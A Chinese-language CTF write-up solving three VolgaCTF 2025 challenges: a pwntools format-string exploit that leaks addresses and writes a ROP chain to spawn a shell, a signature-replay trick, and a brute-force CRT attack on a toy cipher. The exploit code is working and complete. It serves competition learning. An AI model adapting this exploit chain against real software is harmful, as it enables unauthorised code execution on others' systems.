这个就做了俩题,其实再努力点就是3个。不过最近也算是好成绩了,45名。国外的比赛对我来说还算是比较难的。
Baby-Welcome
这个流程还挺麻烦,先是注册用户,登录的用户可以给其它用户发消息。收到消息的用户可以显示消息,这里有个printf漏洞。
有个比较麻烦的就是他并不会删除,所以要不断注册用户。登入登出才麻烦了。再有就是输入不在栈内要用栈里现有的链。
python
from pwn import *
context(arch='amd64', log_level='debug')
libc = ELF('./libc6_2.40-1ubuntu3.1_amd64.so')
#unlogined
def reg(id):
p.sendlineafter(b"> ", b'1')
p.sendlineafter(b"Login: ", str(id).encode())
p.sendlineafter(b"Password: ", str(id).encode())
def login(id):
p.sendlineafter(b"> ", b'2')
p.sendlineafter(b"Login: ", str(id).encode())
p.sendlineafter(b"Password: ", str(id).encode())
#logined
def send(msg,to):
p.sendlineafter(b"> ", b'1')
p.sendlineafter(b"Login: ", str(to).encode())
p.sendlineafter(b"Message: ", msg)
def show():
p.sendlineafter(b"> ", b'2')
def logout():
p.sendlineafter(b"> ", b'3')
def doshow(id,msg):
reg(id)
logout()
login(0)
send(msg,id)
logout()
login(id)
show()
msg = p.recvline()
logout()
return msg
'''
00:0000│ rsp 0x7fffffffdcf0 ◂--- 0x2ffffdd00
01:0008│-008 0x7fffffffdcf8 ---▸ 0x55555555b950 ---▸ 0x55555555b2a0 ---▸ 0x55555555b2d0 ◂--- 0x30 /* '0' */
02:0010│ rbp 0x7fffffffdd00 ---▸ 0x7fffffffdd20 ---▸ 0x7fffffffdd40 ---▸ 0x7fffffffdde0 ---▸ 0x7fffffffde40 ◂--- ...
03:0018│+008 0x7fffffffdd08 ---▸ 0x555555555b79 (auth_handlers+99) ◂--- jmp 0x555555555b8e
04:0020│+010 0x7fffffffdd10 ◂--- 0
05:0028│+018 0x7fffffffdd18 ◂--- 0x200000000
06:0030│+020 0x7fffffffdd20 ---▸ 0x7fffffffdd40 ---▸ 0x7fffffffdde0 ---▸ 0x7fffffffde40 ◂--- 0
07:0038│+028 0x7fffffffdd28 ---▸ 0x555555555bc9 (main+52) ◂--- mov dword ptr [rbp - 4], eax
08:0040│+030 0x7fffffffdd30 ---▸ 0x7ffff7e124e0 (_IO_2_1_stderr_) ◂--- 0xfbad2087
09:0048│+038 0x7fffffffdd38 ◂--- 0xffffde68
0a:0050│+040 0x7fffffffdd40 ---▸ 0x7fffffffdde0 ---▸ 0x7fffffffde40 ◂--- 0
0b:0058│+048 0x7fffffffdd48 ---▸ 0x7ffff7c2a338 ◂--- mov edi, eax #17
0c:0060│+050 0x7fffffffdd50 ---▸ 0x7ffff7e124e0 (_IO_2_1_stderr_) ◂--- 0xfbad2087
0d:0068│+058 0x7fffffffdd58 ---▸ 0x7fffffffde68 ---▸ 0x7fffffffe1fb ◂--- './baby-welcome'
0e:0070│+060 0x7fffffffdd60 ◂--- 0x100000000
0f:0078│+068 0x7fffffffdd68 ---▸ 0x555555555b95 (main) ◂--- push rbp
10:0080│+070 0x7fffffffdd70 ---▸ 0x7fffffffde68 ---▸ 0x7fffffffe1fb ◂--- './baby-welcome' #22
11:0088│+078 0x7fffffffdd78 ◂--- 0xe177d97362534bed
12:0090│+080 0x7fffffffdd80 ◂--- 1
13:0098│+088 0x7fffffffdd88 ◂--- 0
14:00a0│+090 0x7fffffffdd90 ---▸ 0x555555557d68 ---▸ 0x555555555190 ◂--- endbr64
15:00a8│+098 0x7fffffffdd98 ---▸ 0x7ffff7ffd000 (_rtld_global) ---▸ 0x7ffff7ffe310 ---▸ 0x555555554000 ◂--- 0x10102464c457f
16:00b0│+0a0 0x7fffffffdda0 ◂--- 0xe177d97363334bed
17:00b8│+0a8 0x7fffffffdda8 ◂--- 0xe177c9099c4d4bed
18:00c0│+0b0 0x7fffffffddb0 ◂--- 0x7fff00000000
19:00c8│+0b8 0x7fffffffddb8 ◂--- 0
1a:00d0│+0c0 0x7fffffffddc0 ◂--- 0
1b:00d8│+0c8 0x7fffffffddc8 ---▸ 0x555555557d68 ---▸ 0x555555555190 ◂--- endbr64
1c:00e0│+0d0 0x7fffffffddd0 ---▸ 0x7fffffffdde0 ---▸ 0x7fffffffde40 ◂--- 0
1d:00e8│+0d8 0x7fffffffddd8 ◂--- 0xb6d653f4daf19f00
1e:00f0│+0e0 0x7fffffffdde0 ---▸ 0x7fffffffde40 ◂--- 0
1f:00f8│+0e8 0x7fffffffdde8 ---▸ 0x7ffff7c2a3fb (__libc_start_main+139) ◂--- mov r15, qword ptr [rip + 0x1e6b86]
'''
#p = process('./baby-welcome')
p = remote('baby-welcome-1.q.2025.volgactf.ru', 31338)
reg(0)
logout()
msg = doshow(1, b"%8$p %17$p ").split(b' ')
#b'From 0: 0x7fffffffdd20 0x7ffff7c2a338 \n'
stack = int(msg[2], 16) +0x28 #ret
libc.address = int(msg[3], 16) - 0x2a3b8
print(f"{stack = :x} {libc.address = :x}")
pop_rdi = libc.address + 0x2a8ab # pop rdi;pop rbp; ret ; ret 0xcee4d 4u1 0x7c58d 1u1
doshow(2, f"%{(stack-8)&0xffff}c%22$hn".encode())
bin_sh = libc.address + 0x1d944a #next(libc.search(b'/bin/sh\0'))
system = libc.address + 0x5af30 #libc.sym['system']
print(hex(pop_rdi), hex(bin_sh), hex(system))
sp = stack + 2
doshow(3, f"%{(sp-8)&0xff}c%22$hhn%{(pop_rdi-(sp&0xff))&0xffff}c%53$ln".encode())
sp = stack+4
doshow(4, f"%{(sp-8)&0xff}c%22$hhn%{(((pop_rdi)>>16)-(sp&0xff))&0xffff}c%53$hn".encode())
sp = stack+8
doshow(5, f"%{(sp-8)&0xff}c%22$hhn%{(((pop_rdi)>>32)-(sp&0xff))&0xffff}c%53$hn".encode())
sp = stack + 10
doshow(9, f"%{(sp-8)&0xff}c%22$hhn%{(bin_sh-(sp&0xff))&0xffff}c%53$ln".encode())
sp = stack+ 12
doshow(10, f"%{(sp-8)&0xff}c%22$hhn%{(((bin_sh)>>16)-(sp&0xff))&0xffff}c%53$hn".encode())
sp = stack+ 24
doshow(11, f"%{(sp-8)&0xff}c%22$hhn%{(((bin_sh)>>32)-(sp&0xff))&0xffff}c%53$hn".encode())
sp = stack + 26
doshow(12, f"%{(sp-8)&0xff}c%22$hhn%{(system-(sp&0xff))&0xffff}c%53$ln".encode())
sp = stack + 28
doshow(13, f"%{(sp-8)&0xff}c%22$hhn%{(((system)>>16)-(sp&0xff))&0xffff}c%53$hn".encode())
sp = stack - 0xc
doshow(14, f"%{(sp-8)&0xff}c%22$hhn%{(((system)>>32)-(sp&0xff))&0xffff}c%53$hn".encode())
#gdb.attach(p, "b*0x555555555ab3\nc")
doshow(15, f"%53$hn")
p.interactive()
#VolgaCTF{%s_1_l1k3_3@5y_t@5k5_y0u_t00?_b2ffac756ffd1df0e033eab50f3c0ba6}
Broke Broke
一个签名的题,验签通过就能拿flag,而且并不验证签名跟原来的是不是相同。这不明显白送吗。居然只有22队答出。
bash
└─$ nc crypto-broke-bloke-1.q.2025.volgactf.ru 32768
Please, crack me open
> sign
m: 4d617962652063727970746f207761732074686520667269656e64732074686174207765207369676e656420616c6f6e672074686520776179
rs: 2341a128b3ddfa25abdd9be620747340c31ecbcdf0ed3d66cab9483cc866cb39b58d3a4feefe6fadcc5dd23cbe424080ec24d2be5f2d4bd1ce636a5ae71e70bb
> verify
rs: 2341a128b3ddfa25abdd9be620747340c31ecbcdf0ed3d66cab9483cc866cb39b58d3a4feefe6fadcc5dd23cbe424080ec24d2be5f2d4bd1ce636a5ae71e70bb
Hooray, here's your flag: VolgaCTF{r4nd0m_c4n_h4v3_50m3_fun_r34l710n5_}
Field Rules
这个当时没作出来,看似简单最后放弃。
python
from functools import reduce
from operator import mul
from os import urandom
from Crypto.Util.number import getPrime
from secret import flag
ROUNDS, m, k = 512, 20, 78
key = int.from_bytes(flag)
target_bl = len(flag) * 8
prime_base = [getPrime(m) for _ in range(-(-target_bl // m) + 1)]
n = reduce(mul, prime_base, 1)
e_len = -(-n.bit_length() // 8)
assert key < n
def encrypt(m: bytes, key: int) -> bytes:
e = int.from_bytes(m)
for _ in range(ROUNDS - 1):
e += key
e = pow(e, k, n)
e = (e + key) % n
return e.to_bytes(e_len, "big")
msgs, encs = [], []
for i in range(10):
m = urandom(len(flag))
msgs.append(m)
encs.append(encrypt(m, key))
with open("output.py", "wt") as f:
f.write(f"{msgs, encs, n =}")
这个东西从逆向看是完全推不出来的。因为加密有511轮,而且每次加key次数太多。
漏洞在于n是由17个20位小素数ps组成。如果用一个因子作模那么key就只需要爆破20位,这样难度并不大,集齐17个再与ps作CRT就行了。
不过爆破完后发现不成功,然后用2个明文爆破也不成功就放弃了。虽然这里有些相同的值可以减少爆破量但也是个大数字,第3个也不成功就放弃了。今天又爆破了几小时,发现最后两个成功。为啥不从后爆破呢!!!
python
#爆破20位
from tqdm import trange,tqdm
from Crypto.Util.number import *
import multiprocessing
ROUNDS, m, k = 512, 20, 78
def encrypt(m, key, p):
e = m
for _ in range(ROUNDS - 1):
e += key
e = pow(e, k, p)
e = (e + key) % p
return e
ms = [bytes_to_long(i) for i in msgs]
cs = [bytes_to_long(i) for i in encs]
ps = [552583,594271,616211,645097,664369,684569,709231,770587,787547,794473,
871177,909599,910099,964309,982063,982147,997357]
def solve(j):
p = ps[j]
if encrypt(ms[idx]%p,tvs[j],p) == cs[idx]%p:
vs.append(tvs[j])
print('old', tvs[j],p)
return
for i in trange(p):
v = encrypt(ms[idx]%p,i,p)
if v == cs[idx]%p:
vs.append(i)
print(i,p)
return
for idx in range(4,len(ms)):
vs = []
for j in range(len(ps)):
solve(j)
print(vs)
long_to_bytes(crt(vs,ps))
tvs = vs
#最后两个
#vs = [243969,47740,560253,72977,546460, 646230,663540,464139,755126,679225,
50886,380110,228601,569223,437765, 858254, 215578]
long_to_bytes(crt(vs,ps))
#VolgaCTF{bru73_f0rc3_m3_l0v3_50m371m35}